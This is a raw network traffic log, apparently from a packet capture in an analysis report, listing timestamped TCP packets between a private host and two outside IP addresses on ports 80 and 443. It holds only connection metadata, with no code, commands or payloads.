Nov 23, 2024 20:23:10.923472881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.923516989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.924220085 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.924263954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.924345970 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.924386024 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.925134897 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.925189972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.925242901 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.925288916 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.926043987 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.926104069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.926161051 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.926207066 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.926909924 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.926954031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.927033901 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.927084923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.927812099 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.927858114 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.927922964 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.927967072 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.928734064 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.928786993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:10.928814888 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:10.928875923 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.042979002 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043054104 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043116093 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.043262959 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.043277025 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043291092 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.043299913 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043611050 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043703079 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.043751955 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.044403076 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.044416904 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.044433117 CET	49762	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.044437885 CET	443	49762	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.046120882 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.046159983 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.046236992 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.046355963 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.046371937 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.046889067 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.046937943 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.047029018 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.047204018 CET	49767	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.047231913 CET	443	49767	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.052010059 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.052067995 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.052114010 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.052165031 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.052449942 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.052582979 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.052623987 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.052655935 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.053325891 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.053380013 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.053467989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.053517103 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.054215908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.054267883 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.054352045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.054399967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.055109024 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.055159092 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.055228949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.055275917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.055999041 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.056046009 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.056128025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.056176901 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.056893110 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.056945086 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.056982994 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.057029009 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.071167946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.071264982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.071275949 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.071335077 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.071547985 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.071611881 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.071631908 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.071670055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.072453022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.072494030 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.072514057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.072544098 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.073355913 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.073414087 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.073451996 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.073503017 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.074214935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.074270964 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.074335098 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.074385881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.075150967 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.075241089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.075269938 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.075337887 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.076026917 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.076072931 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.076117039 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.076165915 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.076903105 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.076946020 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.077028990 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.077075958 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.077826977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.077883005 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.077945948 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.077989101 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.078691006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.078737974 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.078828096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.078876019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.079580069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.079627037 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.079691887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.079735994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.080698013 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.080744982 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.080868006 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.080914021 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.081388950 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.081439972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.081504107 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.081568956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.082329035 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.082384109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.082406998 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.082456112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.083201885 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.083247900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.083292961 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.083339930 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.084073067 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.084120989 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.084192991 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.084235907 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.084964991 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.085011959 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.085087061 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.085129023 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.085829020 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.085881948 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.085958004 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.086007118 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.086760044 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.086810112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.086862087 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.086910963 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.087624073 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.087687016 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.087713957 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.087773085 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.088210106 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.088408947 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.088466883 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.088519096 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.088567972 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.088629007 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.088675022 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.089385033 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.089437008 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.089497089 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.089546919 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.090306997 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.090312958 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.090336084 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.090365887 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.090374947 CET	49764	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.090383053 CET	443	49764	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.090434074 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.090476990 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.091248989 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.091295004 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.091389894 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.091438055 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.092130899 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.092191935 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.092284918 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.092355967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.093003988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.093056917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.093135118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.093178988 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.093808889 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.093843937 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.093878984 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.093931913 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.093956947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.093978882 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.094024897 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.094189882 CET	49768	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.094202042 CET	443	49768	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.094770908 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.094825029 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.094868898 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.094919920 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.095698118 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.095752954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.095788956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.095839977 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.096548080 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.096605062 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.096643925 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.096693993 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.097486973 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.097537994 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.097604036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.097647905 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.098335028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.098381042 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.098397017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.098439932 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.099231005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.099281073 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.099323988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.099376917 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.100116968 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.100172997 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.100209951 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.100263119 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.101011038 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.101063967 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.101104975 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.101159096 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.101900101 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.101952076 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.101989031 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.102041006 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.102807045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.102901936 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.102931976 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.102976084 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.103703976 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.103761911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.103795052 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.103848934 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.104568958 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.104619026 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.104676962 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.104723930 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.105520010 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.105568886 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.105592966 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.105635881 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.106353045 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.106398106 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.106466055 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.106518984 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.107249022 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.107299089 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.107359886 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.107409954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.108155012 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.108201981 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.108267069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.108310938 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.109074116 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.109116077 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.109221935 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.109266043 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.109920025 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.109967947 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.110028028 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.110081911 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.110815048 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.110863924 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.110907078 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.110951900 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.111686945 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.111740112 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.143292904 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.143376112 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.143430948 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.143640995 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.143649101 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.143675089 CET	49763	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.143681049 CET	443	49763	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.146410942 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.146440983 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.146508932 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.146610022 CET	49769	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:11.146625996 CET	443	49769	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:11.243938923 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.244019985 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.244033098 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.244086981 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.244355917 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.244421005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.244431019 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.244478941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.245270014 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.245321035 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.245404005 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.245457888 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.246155977 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.246263027 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.246329069 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.247020960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.247082949 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.247139931 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.247189045 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.247941017 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.247992039 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.248059988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.248111010 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.248815060 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.248863935 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.248892069 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.248944044 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.263335943 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.263415098 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.263439894 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.263468981 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.263474941 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.263520956 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.263628960 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.263681889 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.264550924 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.264600992 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.264642954 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.264694929 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.265264988 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.265316963 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.265400887 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.265450954 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.266181946 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.266235113 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.266249895 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.266302109 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.267091036 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.267142057 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.267203093 CET	80	49760	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:11.267251015 CET	49760	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:11.267934084 CET	80	49760	185.215.113.16	192.168.2.4
